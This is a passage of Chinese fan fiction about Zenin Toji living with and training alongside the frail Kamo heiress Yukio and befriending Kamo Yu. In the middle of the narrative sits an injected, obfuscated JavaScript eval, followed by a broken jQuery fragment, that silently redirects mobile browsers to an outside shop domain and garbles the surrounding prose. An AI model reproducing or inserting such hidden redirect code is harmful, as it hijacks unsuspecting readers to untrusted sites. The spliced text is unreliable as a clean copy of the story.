一时间不知道该说她天真还是愚蠢,两个人如果在这样的情况下,只会以利益为重吧?
他有点好奇自己的身价了,随口问了雪樱,雪樱摇头说不太清楚。
特级咒具本来就少见,但她家还拿出好几把,说明还有其他的。
啧,真是便宜那群家伙了。
“你很想要咒具吗?”
“当然啊,我没有咒力,就只能用咒具了。”
雪樱带着他来到自己的房间,第一次到女孩子的卧室里甚尔没有半点不自在,他环视室内的的布局,看着雪樱从梳妆台的抽屉里拿出一把通体雪白的胁差。
“这是我生日时候,父亲大人给我的礼物。”她把胁差递给他,“这虽然不是特级,但是也是一级咒具了。”
“送给你,就当是见面礼吧。”
甚尔有些诧异,虽然不是特级,但是一级咒具价格也不菲。
雪樱继续道,“我用不上这个啦,我的术式比体术好太多了,父亲大人觉得这把胁差通体雪白,”她说着将咒具放着甚尔的手中,“我的名字不是有一个雪字吗,就当成礼物送给我了。”
一旁的雅子忍不住插嘴道,“大小姐,马上家主特地买下来送给您的。”
雪樱一脸无所谓道,“既然是送给我的礼物,那我有权处置吧?”
有了人陪她,雪樱心情异常高兴,她带着禅院甚尔在这里转悠起来,甚尔只觉得自己的猜测真是太对了,自己的作用完全就是玩伴啊。
晚餐是有人过来做好了,等他们吃完厨师才会离开,就连身边的佣人也只有雅子一个人。
因为雪樱不喜欢看到其他的人,于是很多事情都是在她看不见的时候做,比如她去后山训练的时候会有人打扫院子,上课的时候会有人进来打扫房子,平时能看见的人就只有雅子一个人。
作为玩伴,也是陪练对象,对付雪樱甚尔只需要一只手就可以制服她。
对手太弱了,完全没有一丝一毫感觉到胜利的愉悦。
如果是用上咒术的话,那就只有甚尔被玩弄的份儿了。
血鬼术的媒介同样是血液,沾染血液的物体,发动血鬼术就会达到交换位置。
换一个技巧,伤势也同样可以交换。雪樱还不会使用反转术式,交换了没办法给自己治疗。
她的变异术式拒绝只能对他人使用,没办法对自己使用。
甚尔不知道她会出现在什么地方,在对战中位置变化中,她已经将周围都撒上了血点。
各种交换位置后,相对的物品也会移动位置,这让她能出现的范围就更广了。
赤血操术可以将血液凝结,她将其固化成自己的武器,血线既灵活,也坚韧,配合小型锐器可以实现束缚,切割等等效果。
以目前她的术式操纵的程度,血是线还是带,全凭运气。
她的身体条件太差,失血过多会导致她行动变缓慢,再怎么灵活的术式,如果脑袋发晕使用起来也会变得笨拙。
比起她的行动自如而言,禅院甚尔就像是玩上捉鬼游戏似的,并且这个鬼完全不知道会出现在哪里。
人坦荡荡的出现在他面前,他的手在半空中的时候,雪樱就已经出现在他身后了。
“可恶!”他气喘吁吁的杵着木刀,汗如雨下。
雪樱像个没事人一样,坐在回廊上双手放在身侧,看他累得直喘气。
除了陪练,他还要和加茂家的其他人一起学习,生活上与禅院家并没有太大的区别,唯一多出来的是照顾加茂雪樱。
早上。
由于他目前穿和服过于笨拙,需要学习如何系带打结,雪樱选择了洋装,方便他为自己穿衣。
这座房子保留许多西方美学的冲击,餐厅最西式。
精致华丽的基调,用具绝大多数是木制,融合了一部分日式典雅的氛围。
之后他需要将今天的行程与雪樱交代,落实这些事情依旧是雅子在做,甚尔得去完成自己的课程,没办法一整天都陪在她身边。
家庭医生每周都会过来定期抽血储存,取量只有小小的一只,不止是她这样,加茂家族会赤血操术的人都得提前储存血液,战斗力中血液的储备量,有时会是关系到获胜的关键。
雪樱要求与甚尔同睡一张床上是不合理的,然而雅子只是女仆,只能提醒她,并不能控制她的决定。
任性的雪樱不顾及甚尔是否乐意,就对他提出来请求。
与其说请求,更像是陈述。
禅院甚尔听到她说这样的话也没有不同意,于是两个人就这样住在了一起,夜晚也睡在那张精美柔软的洋床上。
日常训练他与加茂家族其他同龄孩子一起,当然其中也有不少嘴里对他说出些污言秽语的人。
同样古朴传统得让人恶心,禅院甚尔已经被针对了好几次,不过每一次都有一个叫加茂柚的人帮他。
医疗室的医生对于两个人挨揍都习以为常,甚尔以为这家伙和其他人也一样,除了嘲讽他的,还有另一种人,接近他来打听雪樱的事情。
“你体术不赖嘛!”
柚与他同岁,他是加茂旁支,似乎天生自来熟,看他没有恶意甚尔以为他是来打听有关雪樱的事情。
“你有什么事?还是说你来打听关于她的事情?”
一头黑色妹妹头的少年一愣,“不是啊。”
“那你干嘛帮忙。”
似乎被他这种言论吓到,柚不可思议的“诶”了一声,“看人被欺负帮忙还要有理由吗?!”
甚尔心想看来是一个傻子。
“你是觉得我帮你,是打听加茂雪樱的事情吧?”他像是听了什么恐怖故事一样皱着脸,语气不好的说道,“那家伙的事情有什么好打听的,冷冰冰的跟个人偶一样,和她说话也不搭理人。”
冷冰冰?人偶?不搭理人?
每天和他躺在床上一起睡觉,问他每天开不开心的,每天笑眯眯的人是谁?
加茂家族也有类似躯留队的队伍,甚尔在那里学习训练,柚也算是他的同学,两人自从那次之后也没有说上什么话。
他道听途说了一点有关雪樱在加茂家的事情,说是她这两年已经很少在家族里露面,只在那个院子里,而进那院子除了家主与家主夫人,都需要通报,如果她不同意就会被雅子请出去。
照顾她的山田雅子,实际上是一级咒术师。
禅院甚尔的话让加茂柚有些不爽,他帮忙只是自己看不惯哪些仗着咒力和武艺强的人强欺弱,与加茂雪樱没有半点关系。
加茂雪樱被家主保护得太好,同辈不少人都会嫉妒她,又碍于她的实力,只能在背后嚼舌根。
柚很讨厌加茂家,这里的封建与压迫让他生出来的逆反心理,所以他才出手帮助了禅院甚尔。
他的咒力不高,在家里也是被人嘲讽欺负的对象,像加茂雪樱那种人懂什么啊,生出来的那么一点迁怒心理,才对甚尔说出来了那些话。
目睹柚被人围堵的时候,禅院甚尔看着那个黑色妹妹头的少年脸上厌恶又愤恨的表情,还是决定上去帮忙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926146|213532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结果就是两个人都被揍趴下了。
食堂里。
柚问他,“刚才你上来干嘛。”
如果甚尔假装没看见,说不定就不会被牵连其中,柚并不觉得这个人是一个热心肠的人。
“因为我看他们不爽。”甚尔吃了一口饭,一侧脸颊塞得鼓鼓的。
为了让自己身体长得结实一点,他会吃得比普通人多一些,过量的锻炼没有摄入足够的食物,身体反而不会增加肌肉,而会因为吃得不够变得显瘦。
柚看他餐盘里小山一样的食物,感觉胃有些发痛。
柚的个子比甚尔要矮一个头,加上这个发型,看背影总是会被误会成女生。
“你每餐都吃这么多…?”
甚尔点头。
柚小声地吐槽一句“怪物”,然后低头吃饭起来。
逐渐的他和加茂柚也成为了能交谈的人,禅院甚尔观察过他一段时间,本家的孩子似乎对他的态度都很冷淡,他推测大概是加茂柚性格的问题。
或许是甚尔受伤的次数太多,雪樱甚至想让甚尔陪她一起上课,然而母亲大人并否决了她的提议。
既然来到了加茂家,那就要听从安排。
原本这件事雪樱是想要和父亲大人商议,奈何最近父亲大人总是见不到身影,她才只好找到母亲大人。
来到这里一个月时间,禅院甚尔对这里的已经有所熟悉,的确如她父亲所说,雪樱身体孱弱,这个月里她已经低烧过两次了。
原因是体能训练过度。
“怎么又受伤了。”
看到他脸颊上的红肿,还有一些渗血的伤势,雪樱神情忧伤,甚尔不习惯面对她这样的表情。
这样不忍心看他受伤,因他的伤口而难过的表情,全部都充满着危险的气息。
他感觉头顶悬着达摩克利斯之剑,对这样的感情充满了未知与恐惧。
“没事,过两天就好了。”
身体素质好得可怕,于是愈合能力也十分惊人,他已经不让雪樱对他的伤口用术式了。
雪樱很不解,明明受伤了她用咒术的话很快就会好了呀。
甚尔坚持这么做,雪樱也只好听他的。
身边有了同龄人后,雪樱会各种问他有关他的事情,譬如在禅院家训练是什么样子,或者是说你们男孩子会聊些什么?有没有遇见什么好玩的事情?
甚尔都会一一回答。
训练就是武艺上的,男孩子聊天就说些咒术,比试,一些娱乐,还有女人。
“女人?”
“对,说女人的胸和屁股。”他故意这么说着,想看她脸上会不会出现什么嫌恶的表情。
“甚尔君也会说吗……”
“哈?怎么,我说的话你会不高兴吗?”他眉毛往下压,语气不知道为什么带着点不耐烦。
“我以为甚尔君有我之后,就不会在意其他人了……”雪樱有些失落的说着,“我们不是只能有彼此吗?”
她手里抱着一只兔子玩偶,把脸颊埋进玩偶的脑袋上,一脸哀伤。
那样的表情,那样的语气,就像一把利剑逼近他的身体,稍不注意就会见血封喉,他忍不住生出恐惧,一时间无法说出任何话来。
没有听到禅院甚尔的回答,雪樱想到一切都是让父亲大人强求他来加茂家的,如果他也要离开自己,那身为怪胎的她就没有一个能说得上话的朋友了。
看到她眼眶溢出泪水轻轻落下,犹如剑光闪过,禅院甚尔呼吸一滞,他恐惧的事情彻底发生了。